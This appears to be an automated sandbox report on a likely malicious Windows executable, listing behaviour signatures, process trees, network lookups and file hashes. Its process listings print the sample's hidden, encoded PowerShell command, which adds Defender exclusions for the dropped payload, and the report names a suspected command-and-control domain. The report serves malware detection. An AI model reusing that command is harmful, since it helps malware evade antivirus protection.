Analysis Overview
SHA256
1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3
Threat Level: Likely malicious
The file 1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe was found to be: Likely malicious.
Malicious Activity Summary
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Loads dropped DLL
Drops file in System32 directory
Suspicious use of SetThreadContext
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-02 01:05
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-02 01:05
Reported
2024-06-02 01:07
Platform
win7-20240220-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskeng.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2924 set thread context of 1508 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
"C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe"
C:\Windows\system32\taskeng.exe
taskeng.exe {6DA35476-D1D3-4BF8-B2E5-E86385A52125} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:S4U:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlAA==
C:\Windows\system32\taskeng.exe
taskeng.exe {BBCC50E0-FFC2-4E81-9C86-ED996D730C69} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]
C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | zensh.servehttp.com | udp |
Files
memory/2004-0-0x000007FEF58A3000-0x000007FEF58A4000-memory.dmp
memory/2004-1-0x000000013FA70000-0x000000013FB12000-memory.dmp
memory/2004-2-0x000000001B870000-0x000000001B970000-memory.dmp
memory/2004-3-0x000007FEF58A0000-0x000007FEF628C000-memory.dmp
memory/2004-5-0x0000000000920000-0x000000000096C000-memory.dmp
memory/2004-4-0x00000000024F0000-0x0000000002546000-memory.dmp
memory/2004-6-0x0000000002550000-0x00000000025A4000-memory.dmp
memory/2572-11-0x0000000001A40000-0x0000000001AC0000-memory.dmp
memory/2572-12-0x000000001A190000-0x000000001A472000-memory.dmp
memory/2572-13-0x0000000001200000-0x0000000001208000-memory.dmp
memory/2004-16-0x000007FEF58A0000-0x000007FEF628C000-memory.dmp
\Users\Admin\AppData\Roaming\Index\Parameters.exe
| MD5 | f64ac2d52a86b86f08b6c4bdc2d443e8 |
| SHA1 | 9268869f34ee1669642d8772273852789ec8fec9 |
| SHA256 | 1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3 |
| SHA512 | b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b |
memory/2924-21-0x000000013F4A0000-0x000000013F542000-memory.dmp
memory/1508-22-0x0000000140000000-0x00000001400A2000-memory.dmp
memory/1508-26-0x0000000140000000-0x00000001400A2000-memory.dmp
memory/1508-24-0x0000000140000000-0x00000001400A2000-memory.dmp
memory/1508-28-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp
memory/1508-29-0x0000000140000000-0x00000001400A2000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-02 01:05
Reported
2024-06-02 01:07
Platform
win10v2004-20240508-en
Max time kernel
149s
Max time network
149s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4464 set thread context of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
| PID 4464 wrote to memory of 3032 | N/A | C:\Users\Admin\AppData\Roaming\Index\Parameters.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe |
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
"C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlAA==
C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | zensh.servehttp.com | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 52.111.229.48:443 | tcp | |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | udp |
Files
memory/5108-0-0x0000026B7A1F0000-0x0000026B7A292000-memory.dmp
memory/5108-1-0x00007FFDE63E3000-0x00007FFDE63E5000-memory.dmp
memory/5108-2-0x0000026B7C170000-0x0000026B7C270000-memory.dmp
memory/5108-3-0x00007FFDE63E0000-0x00007FFDE6EA1000-memory.dmp
memory/5108-4-0x0000026B7A6B0000-0x0000026B7A706000-memory.dmp
memory/5108-5-0x0000026B7A710000-0x0000026B7A75C000-memory.dmp
memory/5108-6-0x0000026B7C080000-0x0000026B7C0D4000-memory.dmp
memory/816-7-0x00007FFDE63E0000-0x00007FFDE6EA1000-memory.dmp
memory/816-8-0x00007FFDE63E0000-0x00007FFDE6EA1000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k1rxd5yb.gru.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/816-18-0x0000020729250000-0x0000020729272000-memory.dmp
memory/816-21-0x00007FFDE63E0000-0x00007FFDE6EA1000-memory.dmp
memory/5108-25-0x00007FFDE63E0000-0x00007FFDE6EA1000-memory.dmp
C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
| MD5 | f64ac2d52a86b86f08b6c4bdc2d443e8 |
| SHA1 | 9268869f34ee1669642d8772273852789ec8fec9 |
| SHA256 | 1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3 |
| SHA512 | b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b |
memory/4464-28-0x00007FFDE5BF0000-0x00007FFDE66B1000-memory.dmp
memory/4464-31-0x00007FFDE5BF0000-0x00007FFDE66B1000-memory.dmp